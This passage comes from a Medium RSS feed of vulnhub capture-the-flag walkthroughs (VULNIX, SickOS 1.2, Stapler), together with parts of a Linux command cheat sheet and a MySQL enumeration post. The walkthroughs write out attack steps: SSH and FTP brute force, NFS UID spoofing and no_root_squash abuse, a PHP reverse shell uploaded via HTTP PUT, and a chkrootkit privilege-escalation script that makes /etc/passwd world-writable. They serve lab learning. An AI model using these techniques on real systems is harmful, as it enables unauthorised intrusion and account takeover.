file<br>awk &#39;{print $5}&#39; myfile.txt         -         print only field no.5<br>awk &#39;{print $1,$5}&#39; myfile.txt      -         print field 1 and field 5<br>awk &#39;{print $1,&quot;====&quot;,$5}&#39; myfile.txt         print ==== on field1&amp;5<br>awk &#39;/root/ {print $0}&#39; myfile.txt            print all line with root</pre><h3>8.sed</h3><pre>sed -n &#39;3p&#39; filename                    - to print third line of file<br>sed -n &#39;3!p&#39; filename                   - print all line but line 3 not<br>sed -n &#39;1,5p&#39; filename                  - print line 1 to 5<br>sed -n &#39;$p&#39; filename                    - print last line of file<br>sed -ne &#39;/inet/p&#39; filename              - print all line which have inet<br>sed -ne &#39;/0-9/p&#39; filename               -print all line which have num.<br>sed -e &#39;s/user/hide/g&#39; filename &gt;newfile -  replace user to hide</pre><h3>9.locate</h3><pre>locate passwd          - locate all files and director which have passwd<br>locate -r &#39;\.txt$&#39;     - locate all txt file</pre><h3>10.find</h3><pre>find . -name filename.txt      - search files in rrent location<br>find /home -name file.txt      - search from /home directory <br>find /home -iname file.txt     - iname for ignoring case<br>find / -type d -name dirname   - find directory from / location<br>find . -type f -name file.txt  - find all file.txt files<br>find . -type f -name &quot;*.txt&quot;   - find all txt files from current locatio<br>find . -type f -perm 0777 -print                                          <br>                               -find all file whoes have 0777 permission<br>find / -type f ! -perm 777     - find all files without 777 permission<br>find / -perm 2644              - find SGID file which have 644 perm<br>find / -perm /u=s              - find SUID files<br>find / -perm /g=s              - find SGID files<br>find / -perm /u=r              - find read only files<br>find / -perm /a=x              - find executable files<br>find / -type f -perm 0777 -print -exec chmod 644 {} \;<br>                            - find 777 permission files and set perm 644<br>find / -type d -perm 777 -print -exec chmod 755 {} \;<br>                            - find 777 permission directory and set 755 <br>find . -type f -name &quot;filename.txt&quot; -exec rm -f {} \;<br>                            - find file and remove it<br>find . -type f -name &quot;*.txt&quot; -exec rm -f {} \;<br>                            - find all txt file and remove it<br>find /tmp -type f -empty       - find all empty files in tmp directory<br>find /tmp -type f -name &quot;.*&quot;   - find all hidden files<br>find / -user root -name flag.txt <br>                               - find flag.txt file and owner is root<br>find / -mtime 50               - find last 50 days modified files<br>find / -atime 50               - find last 50 day accessed files<br>find / -cmin -60               - find file changed in last 60 minute<br>find / -size 20M               - find all 20 mb files<br>find / -size +20M -size -50M  - find all files size 20&gt;50</pre><h3>====================================</h3><h3>— — — system command — — —</h3><pre>init0                         - shutdown system<br>init1                         - single user mode<br>init2                         - Multiuser with no network Services                      <br>                                exported<br>init3                         - Default text/console only start.<br>                                Full multiuser<br>init4                         - Reserved for local use<br>init5                         - GUI MODE<br>init6                         - reboot</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=26e8a78bbf07" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HACKLAB: VULNIX vulnhub walkthrough]]></title>
            <link>https://hidepatidar.medium.com/hacklab-vulnix-walkthrough-e3e28652b107?source=rss-7da4b4913694------2</link>
            <guid isPermaLink="false">https://medium.com/p/e3e28652b107</guid>
            <category><![CDATA[vulnhub-vulnix]]></category>
            <category><![CDATA[vulnix-walkthrough]]></category>
            <category><![CDATA[vulnix]]></category>
            <category><![CDATA[vulnhub]]></category>
            <dc:creator><![CDATA[hidepatidar]]></dc:creator>
            <pubDate>Thu, 25 Nov 2021 11:30:50 GMT</pubDate>
            <atom:updated>2021-11-25T11:45:21.328Z</atom:updated>
            <content:encoded><![CDATA[<p>vulnix is vulnerable box and it is available from vulnhub you can downlod this box using this <a href="https://www.vulnhub.com/entry/hacklab-vulnix,48/">link</a></p><p>download vulnix box and configure it on virtual box</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*WDOle3IWj-enQ13hqJ-jtQ.png" /></figure><h4>let’s start enumeration :</h4><p>first looking for vulnerable box ip address so we use netdiscover command for scaning ip address</p><pre>$ sudo netdiscover</pre><p>now using nmap scan port and all port and identify how many port open on vulnix box</p><pre>$ nmap -v -p- 192.168.1.206</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*SIVr0qcHgVwxrmLEbiWX0A.png" /></figure><p>now scan with default script and version detection</p><pre>$ sudo nmap -sC -sV -sT -sU -A -p 22,25,79,110,111,143,512,513,514,993,995,2049,44246,44396,50666,53444,60055 192.168.1.206</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*lEtumcOWeZy0_KtGinpmLg.png" /></figure><p>we see port 22 ,25 79,110,111,143,512,513,514,993,2049 which have running known services</p><p>let’s enumerate smtp port 25</p><pre>$ telnet 192.168.1.206 25</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*PqncCj8WQky-AcZO9e5vfw.png" /></figure><p>we check smtp service is running properly on port 25</p><p>now enumerate smtp with smtp-user-enum tool in kali linux for user enumeration</p><pre>$ smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 192.168.1.206</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4T19onwXdgK6sDroMjFMPA.png" /></figure><p>now we have smtp users now create a user file</p><pre>$ vim user.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*CN0ck7AjnFq0uOVoGO5Ycg.png" /></figure><p>now cut users form field 2</p><pre>$ cat user.txt |cut -d &quot; &quot; -f 2<br>$ cat user.txt |cut -d &quot; &quot; -f 2 &gt;users.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*40kdtp32twblCYz7tBAV1Q.png" /></figure><p>now trying enumerate next port 79 which have running fingure service</p><p>clone this pentest monkey<a href="https://github.com/pentestmonkey/finger-user-enum"> repo</a> AND enumerate fingure service</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*oXOacjQUgqAGDQQ8_aAvEw.png" /></figure><p>let’s execute pentest monkey repo</p><pre>$ ./finger-user-enum.pl -U ../users.txt -t 192.168.1.206</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*0pFR7pYS_l_nGL3CzpoCpw.png" /></figure><p>we see only one user home directory is exist</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/391/1*Usq5H2F9AtFnY-3IsEKiHg.png" /></figure><p>now we have user whose home directory is exist now next we have nfs service so let’s enumerate nfs service</p><pre>$ showmount -e 192.168.1.206</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*hZjOheilOcC4aodYNGe7pA.png" /></figure><p>now mount nfs service data</p><pre>$ sudo mount -t nfs 192.168.1.206:/home/vulnix /mnt/data/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*A1MOI2b9gBDMDimYhVxl4Q.png" /></figure><p>we don’t have permission to access this share folder</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*0WATc0Uu7HmxfxstK99Yfg.png" /></figure><p>now we have a problem because root squashing is enabled so we don’t read this directory content</p><p>after enumerating all services we don’t find sensitive content now let’s bruetforce on ssh with those home directory is exist so we have only one user :user now bruteforce with this user</p><pre>$ hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.1.206 ssh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*ragW-3Q1xYtMCZdYER-Ykw.png" /></figure><p>now we found password let’s login with user on ssh</p><pre>$ ssh user@192.168.1.206<br>password: letmein</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*-jN5sKcIrngST2ZiXVc5Lw.png" /></figure><p>now let’s next aproch for privellage escallation let’s</p><p>here we don’t have any informational data but we have /etc/passwd file in this file have user vulnix UID and GID let’s now copy user vulnix uid and make a user with same name and same uid on your local pc and let’s enumerate nfs again maybe nfs permission denied error solved</p><pre>$ cat /etc/passwd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*V3M2NL89HoIMxVOZ51WL-w.png" /></figure><p>see unlnix UID and GID now add a user vulnix with uid 2008 on your local pc for accessing nfs</p><pre>$ sudo useradd -u 2008 vulnix</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*C7cCweAAsXhEae2Sax3gVQ.png" /></figure><p>now we have vulnix user now switch vulnix user and mount nfs content</p><pre>$ showmount -e 192.168.1.206<br>$ sudo mount -t nfs 192.168.1.206:/home/vulnix /mnt/data/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*4cacr-79FiYjgvZ8QZIQyA.png" /></figure><p>now set password on vulnix user using passwd command and login</p><pre>$ sudo passwd vulnix<br>$ su vulnix</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*p4lrOECj9LBDwKrGNPG8Sg.png" /></figure><p>we have sh shell now convert sh to bash shell and see content on mount directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*YXOcWrpjxJWxFc_cGnieOQ.png" /></figure><p>now make a directory on nfs share location</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*iP61ogXu-XVV29GBrkxeCQ.png" /></figure><p>now generate ssh-key and past authorized_keys file on .ssh directory</p><pre>$ ssh-keygen</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*G-n183qBINdGZoBmQl6yuQ.png" /></figure><p>ssh-key is generate properly now past id_rsa.pub file on /tmp directory because tmp directory have 777 permission</p><pre>$ cp /home/hide/.ssh/id_rsa.pub /tmp/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*3vtNuq1QkXzOtAlV-pYCPg.png" /></figure><p>copy id_rsa.pub from /tmp/id_rsa.pub</p><pre>$ cp /tmp/id_rsa.pub authorized_keys</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*zZdxx5a_7-hDLbDU_XBTrw.png" /></figure><p>now giving permission id_rsa file 600 and make connection</p><pre>$ chmod 600 id_rsa<br>$ ssh -i id_rsa vulnix@192.168.1.206</pre><p>let’s enumerate vulnix user</p><pre>$ sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*UqwT3rs2kXsXv_cUO5nWrQ.png" /></figure><p>we have sudo writes for changing /etc/exports/ nfs configuration file let’ see nfs configuration file</p><pre>$ cat /etc/exports</pre><p>now misconfigure this file replace <strong>root_squash</strong> to <strong>no_root_squash </strong>and add user root on this file</p><pre>/root *(rw,no_root_squash)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*7P_zrgZ0ZtElajljnJLCRg.png" /></figure><p>now save and exit and restart the box for nfs service restart after restart you will see</p><p>after restarting box again we press command showmount for mounting devices</p><pre>$ showmount -e 192.168.1.206</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*edtR41oz2ZuBPdXe2LywmQ.png" /></figure><p>now again mount root user</p><pre>$ sudo mount -t nfs 192.168.1.206:/root /mnt/data2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*o-srwBR0NcP0Y09_ByUb8g.png" /></figure><p>now switch normal user to root and access nfs share</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*ja3w53ZVR9n3EVliwhinEQ.png" /></figure><p>we have root user privilage if you want to access root user you can upload id_rsa.pub file on root directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*U46Rd3RNcoGX4JIhVFRdpw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*g4ogfg2SnhfRXcCuE4tqaw.png" /></figure><p>now we have complete root privilege and we have trophy.txt</p><p>happy hacking :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e3e28652b107" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SICKOS: 1.2 walkthrough]]></title>
            <link>https://hidepatidar.medium.com/sickos-1-2-walkthrough-59d38cb4e494?source=rss-7da4b4913694------2</link>
            <guid isPermaLink="false">https://medium.com/p/59d38cb4e494</guid>
            <dc:creator><![CDATA[hidepatidar]]></dc:creator>
            <pubDate>Tue, 23 Nov 2021 14:22:51 GMT</pubDate>
            <atom:updated>2021-11-23T14:22:51.319Z</atom:updated>
            <content:encoded><![CDATA[<p>first download your vulnerable box using this <a href="https://www.vulnhub.com/entry/sickos-12,144/">link</a> after downloading this vm configure on virtual box</p><h4>Enumeration Start</h4><p>first we scan network and find vulnerable box ip address so now we use netdiscover command for scan network</p><pre>$ sudo netdiscover</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*AbVRgwuU_y7YvwhBNe7p3A.png" /></figure><p>now using nmap we scan vulnerable box ip address</p><pre>$ nmap -v -p- 192.168.1.238</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*XbS9VSxlbnyQgkkPa-dExw.png" /></figure><p>we have two port for enumeration now let’s scan with nmap with defalt script and os detection</p><pre>$ sudo nmap -sC -sV -sT -sU -A -p 22,80 192.168.1.238</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*ewNkc5RlxjB4DfTV12jHWg.png" /></figure><p>let’s enumerate port 80 and see what is on port 80 so let’s hit ip address on browser and see</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*8kbtQvBWlAU0Ig0cIaW2_A.png" /></figure><p>we see simple image on port 80 now bruetforce using dirsearch directory on port 80 maybe found some interesting content</p><pre>$ dirsearch -u <a href="http://192.168.1.238/">http://192.168.1.238/</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*TSEChQdzWWv2RF_E9t-gQQ.png" /></figure><p>after dirsearch scan we have test directory now we check test directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*gojmgKwA6QDKKY6XfJoEcw.png" /></figure><p>after enumerating test directory we don’t have any file on test directory let’s try some more tips</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*riw1uNm62GRP3V-2kKc5Ew.png" /></figure><p>we have curl command for checking which method is allow on target host now we use curl command and check method</p><pre>$ curl -v -X OPTIONS <a href="http://192.168.1.238/test">http://192.168.1.238/test</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*h0gcFqJHnn-m9LOTGMkO4A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*Blw0DCVUneQduzg9J0dTvA.png" /></figure><p>we have PUT method allow so now let’s try upload file on this box first we upload php info file to insure that php available on this server</p><p>now i am connected diffrent network so don’t worry about ip address now my machine ip address is 192.168.43.156 note: please don’t change your network it’s my issue for changing network let’s put phpinfo file on server</p><pre>$ curl -v -X PUT -d &quot;&lt;?php phpinfo(); ?&gt;&quot; <a href="http://192.168.43.156/test/phpinfo.php">http://192.168.43.156/test/phpinfo.php</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wIUahMyybPctD83krBsapA.png" /></figure><p>phpinfo file execute on server now we sure php installed on this box</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*uU53sjDlTea4d2_LA7BdyQ.png" /></figure><p>let’s upload reverse shell for and make a terminal connection with this box</p><p>we will use curl command for uploading file on server</p><pre>$ cp /usr/share/webshells/php/php-reverse-shell.php .</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*ghttnpZUk1cawS2KxIPqyg.png" /></figure><p>after copying reverse shell we will update our ip address and port on php-reverse-shell.php file now</p><pre>$ vim php-reverse-shell.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*xX29FmjxkerWAuUuwQIG1w.png" /></figure><p>after updating ip address on php-reverse-shell.php file upload file on server using curl command</p><pre>$ curl -T php-reverse-shell.php --url <a href="http://192.168.1.249/test/php-reverse-shell.php">http://192.168.1.249/test/php-reverse-shell.php</a> -0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TM5oUjJLZMyuifEwYe0w0w.png" /></figure><p>let’s check reverse shell and execute it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*5Ruo6d8l7HohoQbmCrzrAw.png" /></figure><p>now start reverse shell and after starting nc execute php-reverse-shell.php</p><pre>$ sudo nc -nlvp 443</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*yPV4gGDxPpeLsJkU47_rDw.png" /></figure><p>now convert normal shell to fully interective shell using this <a href="https://hidepatidar.medium.com/spawning-interactive-reverse-shell-7732686ea775">link</a> and enumerate box</p><p>after enumerating box we see a chkrootkit file on crontab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*DzikntrNfvDejfaiPITx7g.png" /></figure><p>now check the version of chkrootkit</p><pre>$ chkrootkit -V</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*ms0o424lk9fe-LSDx9_beg.png" /></figure><p>chkrootkit version 0.49 version is vulnereble with local privilege escalation this version exploit available on exploit db click this <a href="https://www.exploit-db.com/exploits/33899">link</a> and see exploit</p><p>now according to exploit create file on tmp directory and get privilege escalation</p><pre>$ ls -lah /etc/passwd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*kBeWiz3mOAJYqj0afRF7Pg.png" /></figure><p>now you see /etc/passwd file permission now we escalate privilege using chkrootkit vulnerable version</p><p>now going on /tmp directory and make a file on tmp directory</p><pre>$ cd /tmp<br>$ ls<br>$ nano update</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*ddV975ntjvZW12wmkGbV0A.png" /></figure><p>update some containt on update file</p><pre>#!/bin/bash<br>chmod 777 /etc/passwd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*rvTvimOYLxTiGmPPvbkJUg.png" /></figure><p>now giving executue permission on this file</p><p>after creating update file wait when your cronjob task is run you get 777 permission on passwd file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*Sg7NGvvVqqeItxnsMKSHrg.png" /></figure><p>now update root password on passwd file</p><p>first generate linux password using openssl command</p><pre>$ openssl passwd 1234</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*9q7jP-1g_96Z1X8ECxwMVA.png" /></figure><p>now update this password on /etc/passwd file using nano text editor</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*BPn3TNTpF_cCQc6angVrnA.png" /></figure><p>now switch root user using password 1234</p><pre>$ su root<br>Password:1234</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dFr4yz0P3OWH7ip9ugUZ9Q.png" /></figure><p>now we will sucessfully enumerate this box and now we enjoy PUT method and chkrootkit 0.49 vulnerability</p><p>happy hacking :)</p><p>mr. hide</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=59d38cb4e494" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Stapler: 1 vulnhub walkthrough]]></title>
            <link>https://hidepatidar.medium.com/stapler-1-vulnhub-walkthrough-ac4afe7e54b0?source=rss-7da4b4913694------2</link>
            <guid isPermaLink="false">https://medium.com/p/ac4afe7e54b0</guid>
            <category><![CDATA[stapler-1-walkthrough]]></category>
            <category><![CDATA[stapler-1]]></category>
            <category><![CDATA[stapler]]></category>
            <category><![CDATA[stapler-walkthrough]]></category>
            <dc:creator><![CDATA[hidepatidar]]></dc:creator>
            <pubDate>Tue, 16 Nov 2021 18:18:25 GMT</pubDate>
            <atom:updated>2021-11-16T18:18:25.585Z</atom:updated>
            <content:encoded><![CDATA[<p>this is vulnerable box and now we enumerate this box step by step</p><p>first download this box on vulnhub using this <a href="https://www.vulnhub.com/entry/stapler-1,150/">link</a> and deploy this box your local virtual box machine</p><p>scan with nmap and confirm your box ip address</p><p>important : my pc ip change so don’t confuse</p><pre>$ nmap -sn 192.168.1.1/24</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*AFFCrq-i-i1iCJeKKLlfZQ.png" /></figure><p>192.168.1.214 is stapler machine ip so let’s enumerate 192.168.1.214 ip address</p><h4>simple port scaning with nmap</h4><pre>$ nmap -v -p- 192.168.1.214</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*-Q_GXKYvxJI9dcXJ8nHQkw.png" /></figure><p>here we see many services running on stapler box let’s first enumerate port 80 and check what is port 80</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*4ZJBm5x6e77m61fPkttFng.png" /></figure><p>we found some error on port 80 don’t worry let’s do script and default scan with nmap</p><pre>$ sudo nmap -sC -sV -sT -sU -A -p 20,21,22,53,80,123,137,138,139,666,3306,12380 192.168.1.214</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TWCtUGvQeymy31djSQGnuA.png" /></figure><p>let’s check ftp service with anonymous username</p><pre>$ ftp 192.168.1.214</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*QMUWuZ7rfn_I6AyNweyakA.png" /></figure><p>see content on note file using cat command</p><pre>$ cat note</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*md3VrARRzzA2yMOsr_UwqQ.png" /></figure><p>open note file and see content on note file it’s look like user: Elly and user: john and a message</p><p>let’s enumerate port 139 for smb and check the data on smb service</p><pre>$ smbclient -L 192.168.1.214</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*nsBBeaZmY9ANtOpAT6Vryg.png" /></figure><p>we sucessfully list smb data without any user and password now what data available on kathy directory and tmp directory</p><pre>$ smbclient //192.168.1.214/kathy</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*EtXJepcfzCwA9SPXEUqYEw.png" /></figure><p>we sucessfully login anonymously with kathy smb now we get all data on kathy user share directory we try to upload a file on kathy directory but we don’t have any kind of permission for put a file or make a directory or files let’s check kathy share data</p><p>now we use enum4linux command and enumerate</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*o1vrW-zUZxDC56IF2ueJIA.png" /></figure><pre>$ enum4linux -a 192.168.43.166</pre><p>we found some user names</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*TqqAWYR4yXqZ-QOyHO_VBw.png" /></figure><p>using username let’s create dictionary</p><p>let’s adjust username using cut command</p><pre>$ cat userall.txt |cut -d &quot; &quot; -f 3</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*feZKbHlwuL2wFoRykTmmuQ.png" /></figure><pre>$ cat myuser.txt |cut -d &#39;\&#39; -f 2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*vNpZrjblnYqQZSiIfcjC5w.png" /></figure><p>let’s try this user on ftp</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*wzFWr-LJi3tBrQ9oMtlzYw.png" /></figure><pre>$ hydra -L userlist.txt -P userlist.txt ftp://192.168.43.166</pre><p>we found a user and password let’s login with user and password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*B4IUqZMcaiRqzKq28VIAGA.png" /></figure><p>let’s try ftp password on ssh service</p><pre>user      : fin<br>password  : SHayslett</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*Z8xNgypuo9YU_wwxNj_TRg.png" /></figure><p>we are login in ssh let’s enumerate</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*lhHMVvjHyelytPE2TubZqg.png" /></figure><p>we found mysql password on wp-config.php file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*sQpgO-r8KemuptRx53pw-g.png" /></figure><p>let’s try mysql</p><pre>$ mysql -h 192.168.43.166 -u root -p</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*eT8EaR9xS0zeudVGANe0Tw.png" /></figure><p>we are sucessfully login in mysql</p><pre>mysql&gt; show databases;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*NShRVAkDQeOL_m6r9wHEYg.png" /></figure><pre>MySQL [(none)]&gt; use wordpress</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*3pn1TWv7SYxqmk0aO2qBXg.png" /></figure><pre>MySQL [wordpress]&gt; show tables;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*NEar2adRtq0J0DBZosQf3w.png" /></figure><pre>MySQL [wordpress]&gt; SELECT * FROM wp_users;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9UpVEHSLGAFX4bmiEjpEWA.png" /></figure><p>now we have hashes let’s crack this user hases using hashcat command</p><pre>$ hashcat -O -m 400 -a 0 -o hash_output.txt hash.txt /usr/share/wordlists/rockyou.txt</pre><p>we can use john for password cracking so let’s try with john</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*hxciVXjeGdnaR6Fb9xiaEQ.png" /></figure><p>now use john</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*-DlkaEFLT0pRfEDa61KaVw.png" /></figure><p>now we trying to get www data shell so we have a directory which have 777 permission</p><pre>$ find / -perm 777 -type d 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*OXCy7KozdiosQOhTig6eFA.png" /></figure><p>now upload our reverse shell on uploads directory using wget command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qO9va_KPgVfOCLrxFXcPyw.png" /></figure><p>let’s start listner nc on your hand and call this shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*lteg1kg1DDheAhd8OkvdUQ.png" /></figure><p>blogblog directory have a wordpress site but we want to execute our shell so execute now</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*Mfr-YCq319AtKjIBKSmXvg.png" /></figure><p>wow now we got shell now enumerate www data user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*NCHvsDPeP1lL7Iz-rCUqIg.png" /></figure><p>first covert this shell to interactive shell using this <a href="https://hidepatidar.medium.com/spawning-interactive-reverse-shell-7732686ea775">link</a></p><h4>privelege escalation</h4><p>let’s enumerate www_data user</p><p>we found some usefull information on user bash_history file using find command</p><pre>$ find -name .bash_history</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*EYHRubHpWgeUrSDgLd0CzQ.png" /></figure><pre>$ cat ./JKanode/.bash_history</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*BAnLEBgTgXZhYOvCoGIS9w.png" /></figure><p>now try this id password with peter on ssh</p><pre>username : peter<br>password : JZQuyIN5</pre><pre>$ ssh peter@192.168.43.166</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*hQjOSqzfkA-5n_PPlvBNuw.png" /></figure><p>this is not bash shell so let’s take bash shell</p><pre>red% /bin/bash</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/539/1*UzWBFz38nAbiIumkEskR6Q.png" /></figure><p>now using sudo -l we found user peter run all command using sudo</p><pre>$ sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*_YWCg7J5rNfmXj4XJtr3DA.png" /></figure><p>now let’s find flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*OU928vNEVJ22vuWrPRP1ZA.png" /></figure><p>wow we got flag</p><p>happy hacking |:)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ac4afe7e54b0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[mysql enumeration port 3306]]></title>
            <link>https://hidepatidar.medium.com/mysql-enumeration-port-3306-abd5182b4e5e?source=rss-7da4b4913694------2</link>
            <guid isPermaLink="false">https://medium.com/p/abd5182b4e5e</guid>
            <dc:creator><![CDATA[hidepatidar]]></dc:creator>
            <pubDate>Mon, 01 Nov 2021 14:26:33 GMT</pubDate>
            <atom:updated>2021-11-01T14:26:33.522Z</atom:updated>
            <content:encoded><![CDATA[<p>mysql default port 3306</p><h4>how to connect mysql service on local Access</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*ORrHYwBL3vstt8hN_NR5Kw.png" /></figure><pre>hide@kali:~$ mysql -u username-p<br>Enter password:</pre><h4>mysql connect for remote Access</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CtkEnQI72wnylz6ddphLIw.png" /></figure><pre>hide@kali:~$ mysql -h ipaddress -u username -p<br>Enter password:</pre><p>after login run this command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*8zbmTldJoVK76I6SfNQcBQ.png" /></figure><pre>MySQL [(none)]&gt; show databases;</pre><p>now we have 8 row select anyone from database so next command is</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*iDt1j0Y5k2-8KcfMqnFPjA.png" /></figure><pre>MySQL [(none)]&gt; use wordpress;</pre><p>now we are on wordpress table so next command is</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*F8c7zPcI4P1UwVDQptLxfQ.png" /></figure><pre>MySQL [wordpress]&gt; show tables;</pre><p>we have table now select any content on tables i am selecting wp_users because maybe it have some information about user so next command is</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DpZfcMF0xk7KXh0ksOAl_w.png" /></figure><pre>MySQL [wordpress]&gt; SELECT * FROM wp_users;</pre><p>and if you want to select single user so use this command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*5E99r5SX0XG3Y-Mtlmyf-g.png" /></figure><pre>MySQL [wordpress]&gt; SELECT * FROM wp_users<br>    -&gt; WHERE user_nicename = &quot;tim&quot;;</pre><p>if you want to use operator with this you can</p><figure><img alt="" 